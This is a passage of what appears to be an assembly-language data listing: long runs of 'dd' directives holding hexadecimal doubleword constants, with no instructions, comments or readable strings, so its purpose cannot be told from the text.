8C2B157Fh dd 5F9E2E8Bh, 79E2268Bh, 11DF2F28h, 0E87B6370h, 0F0F9979Dh dd 0B0FE8D8Bh, 0D6BBFEA5h, 5B071A46h, 0C1C7B721h, 6952D862h dd 85E14F17h, 0BB600496h, 8C8AE291h, 4E76BB05h, 96FB260Ch dd 261ADEDEh, 5C7A762Eh, 67BBC060h, 44BAF37h, 2895AC8Dh dd 9E4A89DBh, 0F2FAC399h, 50E5E8A7h, 0A6E72780h, 0CA569B62h dd 0C1C6CDA5h, 6A507282h, 9321C1DDh, 0BBC19C6Ah, 4A8E609h dd 0A0BC704Dh, 820CED20h, 792FAE56h, 5D7C8395h, 57D8EFCAh dd 400532A3h, 9F3A352Ch, 85BEC501h, 0DD6A6122h, 73E62B95h dd 29F194A3h, 0C0492A85h, 0B5DA72F8h, 0E34120CFh, 0E9FB60D8h dd 0E88CAFFBh, 6A5F2611h, 0E0024DB7h, 56C488AEh, 14A3535Eh dd 0AB605B12h, 0D623410Bh, 0B4E3C0B2h, 18095F7Ah, 5B61A312h dd 181C59D1h, 0E2C50E4Ch, 0D682085Eh, 67F952CBh, 0AFA6F9A5h dd 0AEBC46FAh, 4199FC40h, 33C3053Ah, 246C7C12h, 51C10C48h dd 1509BF49h, 71079661h, 3B44A5E4h, 2E3CCD00h, 0EDFDEB2Ch dd 0CC80B778h, 0B5723902h, 544BF9E4h, 0AA35F88Ah, 0CA6BB3Ch dd 3E55BDE0h, 1A7BED2Fh, 49BC0292h, 84F5092Dh, 19EC96BEh dd 9A58A680h, 4C0FECCFh, 73094F5h, 0EA02174h, 263F1697h dd 29398110h, 7B8C807Bh, 5F668441h, 213B5407h, 0D0670217h dd 80E8506Bh, 91282Fh, 3D4961BAh, 0FC1024C8h, 0BF075500h dd 0BBF471E9h, 0F5855AB6h, 0CA8C2FEBh, 25D105BFh, 0B6967975h dd 8927E047h, 0C7CC042Ch, 0DC45E380h, 9897F9FFh, 122BBB3Dh dd 6E3DE15Bh, 391B2340h, 95E7AA00h, 677B7A98h, 0D3FE8A26h dd 798B8709h, 9608912h, 0D7D192DFh, 65A57DD9h, 1A781AE5h dd 12DE9E54h, 4F86976h, 0AA29A57Eh, 104D2CCBh, 0D15BE7ACh dd 75D221E1h, 1FBE846Eh, 0C76303D4h, 0B3ABA9E0h, 0F1ADA82Eh dd 800EC5A5h, 4871F381h, 0E9253925h, 312356ECh, 6A03598Ah dd 9A2AFDCDh, 0C62D84EDh, 276D9980h, 159413D8h, 0F96504E6h dd 0D780020Bh, 783A57F0h, 4850DCD3h, 76B7C93h, 707F0795h dd 0F9537BA4h, 57CB8211h, 0AF5BFB24h, 64BBCC90h, 1A4A27F6h dd 9DF4F4DEh, 78FC7C09h, 0D87A6A17h, 6EECD100h, 0FE4DBEF4h dd 1C664317h, 2252A505h, 0F5A09602h, 1BF6907h, 525222Ah dd 1E5C1CE2h, 4B306013h, 38D06F51h, 5F8008ABh, 0C5C8E446h dd 0A016396h, 0A7A45CCFh, 70705ED6h, 505F2F61h, 0AC007764h dd 0C4B4955Bh, 0F851B3C2h, 0BC904F05h, 0DFEED8FBh, 0D0B49B6Ah dd 0FF17F853h, 9BFF96C8h, 25E4D055h, 862E608h, 9199D0Bh dd 10F0DC52h, 0D1FF1614h, 90801C9Bh, 0CBCCF0F5h, 0B4F4195h dd 38FECE6Ah, 0E4A74F6Ch, 9E40D6A2h, 0C69525E1h, 54DB553h dd 23F0E840h, 1CD20BDh, 0D9185595h, 2B41C19Dh, 4E11A31h dd 88B38114h, 618A2B80h, 2C65804Fh, 3C4AE91Dh, 0AA8938E3h dd 377F5209h, 5A08310h, 0DBE02EA4h, 0B7258832h, 0AD39EE34h dd 0AB16113h, 0DF28865h, 50900012h, 286D7DBBh, 7B906C90h dd 0E517AD25h, 10442520h, 92DA1C07h, 84F0BEACh, 16E98Ah dd 6BDF25C9h, 26801BB0h, 0D3F964D2h, 38E25F25h, 2D46BFD5h dd 0A83B13DFh, 956DEED9h, 0ED7F72E2h, 0D81B642Eh, 2B01FED3h dd 40DE0CB8h, 0E1730D18h, 0BF4DB900h, 2A726C9Fh, 6A2D4FE6h dd 7FC37FFh, 35EDB0CDh, 6405BEDCh, 685DA81h, 16617CF5h dd 802D10FDh, 42ECFB25h, 0C13C5B45h, 1C94F180h, 0B01A653h dd 572551D4h, 0FC7A90CEh, 0E1E3967Bh, 0C4565F27h, 65C3E384h dd 20EEA812h, 71E42503h, 9D047CF3h, 0CCAA24A9h, 87C2189Ch dd 5EE8F780h, 0FFB30538h, 0B1B12BAh, 5E6BC13Dh, 392A81ACh dd 3D252F23h, 12B2630h, 6F5E00B3h, 4EC3A787h, 26031435h dd 83157B80h, 0D1BDFC1Fh, 2C51BD82h, 41AE5F04h, 0A0CF8160h dd 32A16ABCh, 7F176E99h, 92130D1h, 60E92140h, 0EF8149B9h dd 2A2E63C8h, 50025E44h, 6C47554Ch, 0EDCE800Dh, 60929720h dd 0B300E359h, 0C4AED767h, 828801ACh, 66169C68h, 3DA28A49h dd 0C52E1B0Fh, 9B7C453Ch dd 5927D480h, 0A34EB6F1h, 7A5BB309h, 0F8124484h, 0B787C495h dd 576972F6h, 3955EE89h, 21F131CAh, 253D7ACEh, 7DE2B8DAh dd 7A0BCC5Fh, 0E92F40BDh, 51344h, 663BC382h, 44748D84h dd 7216D00Eh, 538E009Ch, 975864B8h, 0B50195B0h, 897F48BDh dd 92A3A495h, 0BAEE2590h, 8F2090ECh, 86599575h, 5D2AC80h dd 3EA09Eh, 17937472h, 0E9B52934h, 0CE59E3CBh, 23012026h dd 0DB806109h, 0F4BDD574h, 0E540C104h, 31619285h, 0B72A3195h dd 9A174EFBh, 330C61B3h, 0B92B11BDh, 0FB10C625h, 0A985D0C1h dd 0CE60C628h, 0DF0FA534h, 95DA1B8h, 300CFB8h, 7EAB8EA8h dd 4842E643h, 747C94BFh, 10527FE0h, 321CED9Dh, 5E4578FCh dd 0E362E9B1h, 0EE20E593h, 0E6BA4D2Eh, 27001BFCh, 124FBEE6h dd 0F5CB780h, 0FA7BFCCh, 0BF796BA9h, 210D3E8h, 0EAFCDE8Bh dd 2DEFFCDCh, 76F1FA22h, 11F4F780h, 0C8FDBCh, 30FE6864h dd 3677B202h, 52485B7h, 87D064AEh, 0F71CA49Bh, 43C84EF8h dd 1EE100C7h, 78D38F56h, 0AD0EEF0Dh, 9DC014Ah, 84A079CEh dd 0D29DB531h, 0FA7156FCh, 0B1E3C00h, 7A63E6Ch, 0C003E7C8h dd 142160D9h, 472D31F2h, 73A971E0h, 0FCDC410h, 2DB50904h dd 98CEAA28h, 23D992Dh, 6B771D80h, 38146348h, 0DC5BB8A4h dd 8600BD38h, 2BB5C5F1h, 3305B69h, 5F254979h, 68E9539Dh dd 6E9D6BE5h, 0AB6A6Bh, 0AFC66B85h, 0BB18197h, 21DD9529h dd 0B5696C5Ch, 3D2B80DFh, 7AB626E2h, 302E974h, 19BD01B1h dd 7B677509h, 3D275B1Fh, 7B0807B2h, 64C7E0DDh, 214BC926h dd 453092CAh, 0D99D0955h, 38E31B4Ah, 102FC84h, 1A65B589h dd 54E78110h, 7EE4A412h, 9B2A6FF1h, 5B6A8CCAh, 2E2C4145h dd 0D2BB4F07h, 5E5F54D2h, 20DB9C2Bh, 0A48479B5h, 0BD29C0BCh dd 0BA972609h, 7BD39811h, 0BFDA5E4Ch, 522ED32Dh, 0C97AEE05h dd 0AB444A25h, 19BFBB04h, 0EB3418D3h, 0BF6A528Ch, 0DA406D56h dd 33C453h, 3651675Dh, 2807B8BCh, 23EB000h, 0A7E75C40h dd 6A6806E3h, 68FC0EFFh, 31EEB72Fh, 689C81B1h, 6E10DD95h dd 4AB5115Ch, 1CC8CCDAh, 2A9497C0h, 8EAB06BEh, 78EB7584h dd 0CD8DDE4Bh, 0C4B2B87Eh, 3AA2FBBFh, 2B89CD4Ah, 55A78116h dd 4A0AE75Fh, 7BFB68C4h, 26A304C8h, 0B6C55195h, 50856FBh dd 0AB41A56Bh, 37E3A370h, 0D21283A8h, 24291739h, 22A02482h dd 0E6820860h, 485C1105h, 246ECB4Bh, 11205009h, 0A5007E0Fh dd 33227E28h, 0F11163h, 9D441FFEh, 0F88B8E7Ah, 965B5F14h dd 0C08DCE86h, 0F4352E37h, 8C604BDFh, 0C4C95729h, 687F80F7h dd 648EE673h, 0ACF97855h, 0E58C0BFFh, 253F5091h, 0FF6E30ADh dd 213B79Dh, 0FD8A90C9h, 0D004EE2h, 0F7935437h, 0AA59DE1Fh dd 39BC6D40h, 32185E4h, 532D40B9h, 9F16FDC1h, 16E6905Bh dd 0F50B0DE0h, 0B309797Dh, 505E7B73h, 6F0248A4h, 0A81EA9E4h dd 1041004Fh, 16CBD13h, 0EAB52585h, 7098FB47h, 567D055Ah dd 842ADA16h, 47157BAAh, 67710084h, 45D2EC75h, 0A6FE2566h dd 9D0423E4h, 0B5632F1h, 6346CAC0h, 0BB66047Ah, 0AC5B8F29h dd 8411A349h, 205A521h, 0A6585CE9h, 52A916F3h, 0BA3DB34Dh dd 0CB0D546h, 9B12C994h, 0F6AA6AB9h, 44AEE441h, 0D8880FEBh dd 89BDFE80h, 454759A8h, 4F7BBE0Bh, 952FD26h, 3A7908B9h dd 5851DCC6h, 0C5C898Bh, 0A8F2E24Fh, 47940272h, 45414AEDh dd 23492E60h, 0B3583997h, 72B5D5EAh, 0E0961791h, 0FC4B8067h dd 5C0F5E9Dh, 35780C0h, 0E2002AF0h, 73D7819Dh, 4E6EF7A6h dd 22C82096h, 9C00EBCDh, 3735834Bh, 2F0AFF2Ah, 0DFF11243h dd 90890F09h, 5B2B53D1h, 7017EFBDh, 7A1E4DF5h, 8A2DC180h dd 0FC0BBB38h, 5666A314h, 1A46D693h, 3546DE00h, 16506D9Ch dd 810097BBh, 0C412BCCBh, 1CB29756h, 7D47E27Fh, 98951A6Eh dd 2895097Ah, 251212F5h, 4A7310E9h, 1DCBCAEh, 8A3637E1h dd 38509F13h, 0EB2283F2h, 0A03EBFDBh, 3DCF511Eh, 0E5195BEh dd 6BAA5F93h, 1B234Eh, 234222E7h, 4524BBF9h, 7D08B3B5h dd 0BF68A51Ch, 97861725h, 2A009DE4h, 7AA7485Fh, 9882440h dd 73B6C16Ah, 81023EE6h, 0D0B18EDFh, 6EC35C3Fh, 8A04BF6Fh dd 96A4B873h, 7106FBAh, 0B3F489DFh, 7123FA51h, 0BD5DBDC8h dd 0B72F2174h, 0C2A39F88h, 0D8BDA7D1h, 16C4764Dh, 58967860h dd 516589BCh, 0B5C6C3D1h, 72608671h, 0BFE549D9h, 0DDC8F83Ch dd 89A4F605h, 0AA412416h, 9A7A0B9Dh, 41388039h, 73804BABh dd 831497F6h, 0F42CA5E3h, 15BEDEE8h, 9E8D0150h, 2B60898Bh dd 5D909277h, 9268984h, 4BAFD061h, 1355F851h, 0A4A0DF8Bh dd 0C7BF0560h, 0B26C5563h, 548B00E6h, 6ECAB287h, 0ED50072Ah dd 10BB776Dh, 792BA40Eh, 0DB545969h, 465770EFh, 4C432C0Ah dd 0FCC4BF62h, 0B69974AEh, 5CF7A08Dh, 38A2010Ch, 9271DF4Bh dd 0C8A32F31h, 10DABF02h, 35DD0CBEh, 8115914Ch, 5CB7A2ADh dd 517D312Eh, 2E5FD9B3h, 24DA7329h, 0C780AC56h, 551B5F57h dd 44DDBF3Ah, 3D9D1230h, 7F41E231h, 1C8BDE4Bh, 8C830F17h dd 2C404916h, 0F3EA25E9h, 1FD522C8h, 6070AD8Ch, 0A002DEFEh dd 44E5F205h, 651F860Fh, 8B95BD2h, 79798A89h, 0E9BB670Eh dd 4A897530h, 48277354h, 831A10F2h, 9078B7E8h, 5DB795h dd 0B7DBA78Fh, 0BB0551D1h, 4D72B420h, 813E89B8h, 982739F9h dd 0DA541069h, 0B2D78C0Ch, 8042FDAh, 28A4B960h, 781995A1h dd 6D0589B6h, 4CFC573h, 131269E0h, 90CD0EAFh, 0B2D58189h dd 8BC38823h, 0F450C744h, 0FC6F8A41h, 0DA18D899h, 6D90E261h dd 8512CBF9h, 9501600Ah, 0FCDA56BAh, 16FA8014h, 28C1A4h dd 0D00D6B7Ah, 0CBFB1039h, 168C8148h, 46AD612Fh, 0A8DDF9D6h dd 0E2D20103h, 23D5F975h, 40D06BFAh, 953055BDh, 35A55EC5h dd 0CFF425ADh, 795AD646h, 1D1A9781h, 2F50C0D3h, 6D551282h dd 3A2AFh, 0D57D95BAh, 0BD588Fh, 0A58BA6D3h, 0A770987Bh dd 4C3ED20Bh, 4B2C7051h, 22338A5Bh, 0B48BEC73h, 2587442Eh dd 0B5D7981h, 0E6A6A02h, 4502EA6Ch, 506B4F19h, 24897E57h dd 3404ABDAh, 618DEF04h, 0EA6A2Ah, 975F9F68h, 555DA71h dd 51952975h, 0AE2CBB09h, 0E83F4AD3h, 759FC94Fh, 74DAFA13h dd 0E4713A5Ch, 0A66BAB21h, 0F01CF077h, 0E8A8128Dh, 0A836E2D5h dd 0C42802DBh, 17358D29h, 0F5BF925Fh, 6900D759h, 0FD544916h dd 8AB4A490h, 40DE5CB1h, 0EBA5CC5h, 6DF3F700h, 3C0A1E2Dh dd 0FB9E65Dh, 10CD1DBh, 0B7555BE9h, 941C1178h, 5A3F0024h dd 0BD20D5A4h, 5D3297ABh, 0FE88F655h, 6A629095h, 456D9DFFh dd 0A3A850C5h, 65170B72h, 0AC027954h, 7E551A31h, 69C06049h dd 4F09F252h, 737B9926h, 27E31927h, 0C3D2089h, 1084B081h dd 1221C1B5h, 218510B0h, 23022845h, 5C1AA99Dh, 0A8BD640Ah dd 1319849Eh, 890DB012h, 2D4A81B0h, 1E9663ADh, 3141B89Ah dd 0BB602E8Ch, 97316FBFh, 71741509h, 0B3F44025h, 0C82B2C1Fh dd 0E00A091Ah, 0BD12EF58h, 65AB01E9h, 15EBC81Ah, 7E5739h dd 0A54B4EE1h, 5852F03Bh, 493DFF93h, 0E2444C70h, 0FA9FF522h dd 0D8BF37AEh, 0AEF9040Ch, 32E64F76h, 3F752A61h, 9DEF8120h dd 3B9C2554h, 0D9B7CA66h, 0C1B342FBh, 0BFC0A456h, 51CE992Bh dd 4C04C740h, 678043B8h, 5D655C1Eh, 24ADF90Ah, 0DF128CE7h dd 5509AFB6h, 70F40786h, 549A00DEh, 96CC4D74h, 0B33558E4h dd 0DEA64A7Dh, 38E396E0h dd 60B6225Ah, 0F93019B2h, 0C5A209D3h, 0B98F1F8h, 0DC394205h dd 0F22809Bh, 0B73336BEh, 0E0C81C19h, 9100BAA0h, 0E58A60DAh dd 0F900BE66h, 535B6114h, 0A801B95Fh, 4ADB80E6h, 0BCB3C50Dh dd 0EE262060h, 71852431h, 0C02B8983h, 529D66C4h, 42EE0072h dd 3C73C677h, 0B0975714h, 4E2B5BB4h, 21AA2D2h, 0BD48D5FCh dd 2E3657C3h, 5076FBB5h, 9A250FDEh, 0C1324D6Ch, 6FEAD87Dh dd 254BE0E3h, 0B54504C2h, 9DDAA1Bh, 4DBED22Eh, 0CD563D56h dd 6BE2EF2Eh, 0F309B56Eh, 6A981260h, 9002D43Ch, 9CC110FFh dd 51615639h, 0FC28A764h, 8C25DE00h, 225C64A5h, 950009E8h dd 6115A1A7h, 4F24BA52h, 7F24B57Ah, 15C8C5DAh, 0DEE73AC2h dd 3100Ch, 0FABFE1FFh, 9536572Ch, 9C382C94h, 6EAB5E04h dd 23D00DF9h, 282A600Fh, 44B8A28h, 0DE84FBDh, 2DD6CC39h dd 0CDD7C0F1h, 499C951Ch, 0C969206Eh, 0C6AC128Eh, 0AD5D0276h dd 9A42E3C0h, 694C4075h, 99BE860Bh, 0D3344225h, 0CD36702Ah dd 9AB23704h, 51AD7F31h, 69016F10h, 0D3585D72h, 449915BFh dd 4A4EADBCh, 0C08E9BAEh, 0E4D5F0D4h, 999CC491h, 8036BD29h dd 0CC9BF27h, 58470019h, 73082C05h, 0F217633Eh, 0CF75056h dd 32B8AEB4h, 4CB88896h, 0D0EB6104h, 78C0D357h, 97A594Eh dd 1562402h, 0AB041784h, 0D1FC8F22h, 82DA4A3h, 680109E5h dd 77E202E9h, 0FD6F540h, 0BFA0A488h, 0A507B5E4h, 0AD206501h dd 0A83A8430h, 0A926055Fh, 0EE5B68E1h, 1716E4E0h, 0EE77FD01h dd 0FA80399Bh, 1A5CA552h, 9E2E1FB8h, 17043575h, 52A9F9BDh dd 168C1CACh, 64CB93A8h, 0C1BEA867h, 8F0F88B3h, 61C4283Ch dd 20C4428h, 25107ABAh, 0E4AEC316h, 568DCBFFh, 922EB09Fh dd 19E60B58h, 302D6C9h, 15D55BDEh, 845C45D9h, 5B1BADC3h dd 9D4F036Fh, 15342B23h, 0B9D7B2DBh, 9F8928C3h, 970AFA4Dh dd 8DE0C8h, 0F8CE8F1Bh, 12306EB0h, 0AB10D595h, 0D3002499h dd 0E105B73Fh, 39099EECh, 9492110Bh, 6042E15Bh, 14405D3Ah dd 0A8BB3B96h, 503B1B3Eh, 0FE6A7207h, 0CB5EC93Eh, 230805DCh dd 0C15CC73Fh, 2B108D74h, 621031AAh, 2AF9C05Dh, 16702117h dd 0FEBA12AAh, 2026E429h, 7EAF1B7h, 0BF3FC48Ah, 2E0C6C09h dd 0AC145728h, 4B46F897h, 0A9C0C0D8h, 7E1A695h, 0F9D351D7h dd 0F2639E5Fh, 0B003B253h, 98C2FDB5h, 1C4CC4h, 0EA1FE4ABh dd 7D80185Dh, 8C0F5217h, 4522CF65h, 3CC658h, 5E6C2BA2h dd 858DE892h, 0AFB81F95h, 0BDA4965Fh, 22A55584h, 9571200Dh dd 0F3004C42h, 75735510h, 4FE1F080h, 0DA6BC2F1h, 3109DC64h dd 7329C995h, 62BF8096h, 6120E4FCh, 0C7CDB325h, 17EDA554h dd 0E4B64840h, 0AF840478h, 0AC7797A5h, 5F3EA353h, 80CC9B33h dd 345F8673h, 789A677h, 0D52C608Dh, 0B4E2EFB8h, 0E07754FFh dd 0C022E92Eh, 5EBB5225h, 1B2553AAh, 5C6DC75Bh, 2F59849Fh dd 0F18E0513h, 98CCE21h, 0BD045E85h, 3B50AFF4h, 6686B431h dd 382E30FDh, 44E2B30h, 0D6A011A7h, 0B1EA3E8Dh, 37B71106h dd 25E22BBCh, 55C520B9h, 50A6D3ADh, 8304E288h, 9463C8C2h dd 3F7BDDFFh, 1E00376Ah, 23B21610h, 0C6178B29h, 9E3058CFh dd 725C8C4h, 0E08C30A8h, 7BAC6104h, 748FC4A1h, 57860B97h dd 6489683Dh, 9FE5C453h, 5B17B4E5h, 342BA3F1h, 0F3678C95h dd 0FD8CFB09h, 918F8198h, 0F3407DBBh, 0B45F44C8h, 5DB309A9h dd 9B569B87h, 0FB4B6456h, 8E8B70B8h, 7839A427h, 3E14976Ah dd 5FB0604Eh, 3A0F41D5h, 4E8D4CF4h, 8BE7875Dh, 0A5BCB57Fh dd 470194ECh, 5E569F69h, 0DCD3BAD4h, 1961A2C1h, 5AC2B72Ah dd 0B1462720h, 911D09BCh, 78720BD5h, 0F43C9Ch, 2BFAFBB1h dd 0EF819FE4h, 3C191E1Ch, 1293C6E5h, 41C1BD01h, 659D234Eh dd 0BD8B7A24h, 4FF26A4Fh, 37E335A0h, 920A2086h, 635CB823h dd 0E304DA96h, 65B811C9h, 108F0F83h, 88BC454Ah, 0FCA00E8Eh dd 6207D286h, 0AB84909h, 0EA215CB6h, 7A00D6AAh, 5380C92h dd 353FCECCh, 0AD94F218h, 84C54A29h, 10F7BEFh, 0D7FA0F3Eh dd 428E4DCBh, 294CB531h, 36E3855Fh, 0EDA75B38h, 6F2ED1B0h dd 0B866D702h, 620B4C81h, 7D67A9D8h, 18914735h, 0D4843F83h dd 8D8971D0h, 722C112Dh, 9D0F7833h, 0F3EE4971h, 1596BAE4h dd 7739BD23h, 0E28C19BCh, 382B007Eh, 9509175Ah, 519D041Dh dd 0FF536BCFh, 6B00650h, 0D980D4ACh, 0C520EEE6h, 9D310913h dd 1CD504E1h, 1B2DFFD2h, 90BC7ECh, 0F22E8D9Dh, 28A22E1h dd 874895A2h, 0AC56C780h, 97215F9Fh, 0A73A2D79h, 73F52D87h dd 181459D7h, 0DD8A2515h, 660855C6h, 5942A2BFh, 0B5891051h dd 92054ECDh, 0B5F0E5D4h, 592B5395h, 182181Bh, 0E6EFE05Dh dd 28199376h, 0A212807Ch, 0E4A5DD8Eh, 0A212D1C6h, 29015389h dd 2A20B19Dh, 58A1CFh, 12236D10h, 7FE18FE9h, 0A7B8503Dh dd 0D48B6F2Dh, 8F8907C3h, 0B555C921h, 80199108h, 94272987h dd 901625BAh, 1FA6847Eh, 0D7E55760h, 4BEC075Ch, 76809033h dd 0EBEA6C2Dh, 0F3957975h, 0D0157902h, 374E6C72h, 3C180720h dd 89300ECBh, 3DE090D7h, 80547641h, 0FEEC5961h, 9B2B0813h dd 6091C0A5h, 9D850FC0h, 316A9DD1h, 71223109h, 384025B5h dd 12F7B8Ch, 57BB6A8Dh, 5E5713E0h, 0F440BFB6h, 62C9EDh dd 0E0C1AC2Bh, 0D7BE6661h, 45F5085Fh, 5722B4Ch, 50C9BBCDh dd 1412BD32h, 93E2103Dh, 306C3DB1h, 0A8CCF25Fh, 7E624CB1h dd 89083209h, 86C97856h, 4A69264Bh, 4A8DF3D1h, 722225CAh dd 1A934195h, 46029398h, 32992D15h, 0DD342193h, 0EC80FDACh dd 73609ADBh, 0B8E31600h, 0EE097B14h, 273AFA9Dh, 7001B6C0h dd 0F65B6288h, 0F4497956h, 9900DCA3h, 7940855Dh, 4E8A28B9h dd 0C4F0B9D9h, 29011CB1h, 0F6091985h, 0E9F9B700h, 0A067B552h dd 73140809h, 46F5D224h, 0C8E84FB3h, 13003DD1h, 0C5823FF8h dd 124C5818h, 0A95D35E1h, 6B8B8857h, 0DCD3F4h, 3B05B1A1h dd 0B4833C90h, 540B5A27h, 69EEC89Ch, 0D0698D5h, 635A0F1Ch dd 5380F8AEh, 20660FDAh, 0BE682400h, 8E3E84D9h, 9D82F6E1h dd 28F92719h, 73885EC5h, 6CBF0E64h, 0D6A07E92h, 97541B94h dd 298F0C00h, 3C2A227Fh, 1644985Fh, 0ADDD63BBh, 0FFFBC9D5h dd 419DD6B8h, 0CA991042h, 6ABC3409h, 0B8E92DFBh, 8AF900A0h dd 0E0AEBB4Ch, 0D0BF78D6h, 1205201Ch, 781ACA82h, 2E758E61h dd 0DFB0F3F7h, 3D0559ABh, 0A469AAD8h, 0BB5F45A2h, 918A7620h dd 5C30975Fh, 51820172h, 46F303E1h, 0FC88BA30h, 0F572FEA7h dd 3E133B02h, 76B0BE83h, 89AC8D5h, 0E6092E51h, 0CD980270h dd 0A77F0911h, 5DF4EFD1h, 2A2C3922h, 891C4B51h, 9F207F6Fh dd 0EA0DC21h, 2E6C1BCCh, 0A0CA87C7h, 93693310h, 1F3BBA07h dd 445AF9FBh, 9139942h, 611F788Ah, 0E0E7BECEh, 0DE015C09h dd 6B431990h, 8AD0C2B4h, 97E27EFEh, 35928F0Ch, 5EFF45D2h dd 55DEADDDh, 1602FA50h, 0AA753DA4h, 60F84904h, 363B4AE2h dd 0C4A54A00h, 683D291Dh, 441C334Ch, 8B376192h, 2B146AD1h dd 0AAB0E904h, 7BEDA79Ch, 4590299h, 277F148Ch, 9D559E2h dd 55D35F9Dh, 0F2348E92h, 0F925B9ACh, 75C99154h, 0C177709Ah dd 8FA531ABh, 8622AA52h, 9C4C9F0Bh, 2DB45E24h, 0C68FAD3Dh dd 0F9DF5FE7h, 8AD7DEF6h, 8CD645E2h, 3A50E916h, 33A8810Bh dd 6F25E46Ah, 90F5C630h, 88DE4BABh, 0F5A61DF8h, 712A852Dh dd 0D9324C35h, 95958929h dd 73D88B09h, 975605EBh, 0F043B607h, 35A88A3Dh, 0F8896ACFh dd 0C506255Dh, 0BDB550CCh, 792E1190h, 71ADA8AAh, 0D2B9897Bh dd 2BF3FDABh, 0DCC90770h, 0B82856B0h, 0BCA69326h, 7B1C3CE0h dd 1620F6BFh, 9359FCC6h, 0AC590900h, 0B5CD304Fh, 0FC127CC5h dd 72824ADBh, 907DC02Bh, 0F4CE2902h, 0C98A0064h, 0AEEE08E1h dd 80092C9Dh, 40AC6CC1h, 4A5BD849h, 0F8E5F9BAh, 22F82CC0h dd 0E5741C2Ch, 2EA136EDh, 27CB17F8h, 7D6DF80Dh, 0D8D135C7h dd 83BBF4Bh, 70253031h, 12EF25DEh, 3D7743E2h, 0B64200F2h dd 4C9B76FEh, 48877A03h, 0ACE381FFh, 7D0533C2h, 0CC698C6Dh dd 7ED2077Ah, 6007A9A4h, 0FB9D37EEh, 7169A7BEh, 5C59AD93h dd 2F174676h, 285A7E9Eh, 2465258Fh, 55C4E459h, 8065A053h dd 568FE725h, 1546D43Ah, 51E7870Ch, 324059F2h, 0DBE0A05Bh dd 0ADB64AB9h, 800F8831h, 50A7CE44h, 74EC58E0h, 1270FD16h dd 0B0DC2901h, 5620E1FFh, 0CA9B4B2Fh, 4DB33B74h, 4B72EC21h dd 3571CA57h, 0B28747A4h, 4EBCDE24h, 23015DA3h, 39B8DCBFh dd 6ED86012h, 637225B4h, 0AB0441E2h, 5E41BCDAh, 85E333B6h dd 1714C498h, 229CBF4Ch, 3944B513h, 2B8AFE01h, 1EC2B1D4h dd 2000F02Fh, 9DCC5F81h, 0A81B4AD5h, 0A40DC8E0h, 5246A5C6h dd 0BDA8FC4Ah, 499B0BAAh, 72FE8B90h, 82EC97E9h, 54B50BB5h dd 0AE00F485h, 5F292FAFh, 25807BB1h, 1265F4D3h, 50DD8A05h dd 6047DE58h, 15BA1266h, 422DEF45h, 8457957Fh, 66D30162h dd 2B472BBFh, 0E18C0025h, 0BB9B30A3h, 45665A36h, 1170B200h dd 998D13E0h, 0E416FE10h, 0DC789458h, 5BE66A01h, 0D5228037h dd 25850F20h, 0E32E1F01h, 0FF48C5F2h, 444D588Fh, 0E92469BCh dd 0F5920C62h, 1676FDE3h, 0AA1799BDh, 46E10075h, 0B432E67Fh dd 0E8802DEDh, 6E9D0B5h, 9B92088h, 0F6A116F1h, 0C97784E4h dd 8EC11200h, 0E0555742h, 0ADD40977h, 38556ED1h, 841BA1A6h dd 0CC959CB2h, 0E3104413h, 8363D3B5h, 0CE8D6692h, 2E659AB1h dd 816FB612h, 0C8304A7Eh, 6B002858h, 6CB88BDBh, 0CC4CB5h dd 0C17817E7h, 4D3FBF50h, 8B689E2Dh, 0DC7B5640h, 1B335A10h dd 257FDB1Dh, 0BAF665Fh, 572BA4CCh, 0D4591D89h, 0E51D0FA4h dd 12687EE0h, 42EBC539h, 5F704E7Fh, 27358057h, 951459CAh dd 0BF1837B7h, 97E01A50h, 3DF1961Ah, 0B7C91C25h, 0C9BB5198h dd 4A1E233Eh, 6089C8EAh, 6EE3F0C1h, 88266149h, 47DF93Ch dd 979855C7h, 0EC78B90Eh, 0B9308C15h, 0CDCB7634h, 9994953Ch dd 2B9E535Bh, 772FDDC0h, 3616A40Dh, 3AACAD89h, 501CE110h dd 2341F5C5h, 0E0498660h, 0E9631A96h, 52464733h, 5939FB16h dd 8300FCF7h, 480491Ah, 244B3845h, 0FABC8B8Eh, 43811497h dd 0FEDA4BD5h, 0EC316980h, 65249FCEh, 23048EFEh, 12D0D9BDh dd 62810F5Bh, 0DE8A3302h, 955AF596h, 37B734B7h, 0F4B2D026h dd 9BF2A862h, 32237F5Eh, 7DB8D824h, 6F092FDAh, 52F82EEh dd 7EF3D2Eh, 0E0A2B796h, 990B7116h, 9355BF02h, 56F84AAFh dd 9D296198h, 0BBD5CECDh, 0FF85A22Ch, 0BA50E924h, 4D8A438Ch dd 0F85162F9h, 1AAABDF7h, 0D574C1CEh, 0A01800F6h, 8EF69DE8h dd 3A978829h, 0D42B5E1Ch, 0ADBED40Bh, 3002D7E3h, 45752309h dd 0D95BA5DAh, 0B701A750h, 0D9B7D6D0h, 0B0BF44B8h, 67954103h dd 0ADB525A3h, 8BEE630h, 11A17A5h, 81C5FFB5h, 0A7C3CAEEh dd 0CD559CE7h, 81AB00FBh, 0D456C8EBh, 0C2832512h, 16C0669Bh dd 0F89367AFh, 0BE60BF07h, 7D1052F9h, 9E958D89h, 461127Ch dd 0B81F511Fh, 0BC2B5957h, 6C6E2F34h, 892FF6DEh, 0AF655BA9h dd 0FF4B5FEDh, 6B246E6Ch, 1D099364h, 7965732Fh, 1D6C191Ch dd 4EDC2782h, 310C2250h, 65059195h, 0F3A155B5h, 0D5B0AC4Ah dd 0BDF42B0Fh, 7F66A400h, 0DA9CFBFh, 45BFB02Ah, 646312h dd 0A6BA44B6h, 1C463E8Ch, 52C87195h, 1261BC49h, 0E6BF1CB1h dd 94B0F015h, 0A284098Dh, 0C4808EC0h, 57683EBFh, 0EEC1585Ah dd 0EA0430EDh, 89886EC2h, 9FC420h, 649F4766h, 0A759DE1h dd 0B054100h, 0C885156Dh, 0BBFFE1Ch, 66273501h, 0F6482955h dd 1D17DC14h, 0B6840BBEh, 6EA374FFh, 1D23CCh, 0D61715A7h dd 2E0966F5h, 717C72B6h, 0B70F84BBh, 0A290B8FBh, 73DE2B5Dh dd 96252910h, 0E85254F8h, 0D59C1DE8h, 464878C3h, 4C40D80Fh dd 473007E9h, 0E0FA6679h, 25B460F7h, 61369897h, 0ED965B5Bh dd 17FB800h, 29371A09h, 0C87ED777h, 5BB5860Fh, 29031236h dd 0B3342B6Ah, 2E6EC2AEh, 0E4046D75h, 0D1B66019h, 99534CC1h dd 0ECDF6038h, 88B2C257h, 0E95FF861h, 5BAEB72Ah, 6A8414DAh dd 0A3E3B8BCh, 0DB0B8741h, 5085789Ah, 1071BE2Fh, 1F4B5ABh dd 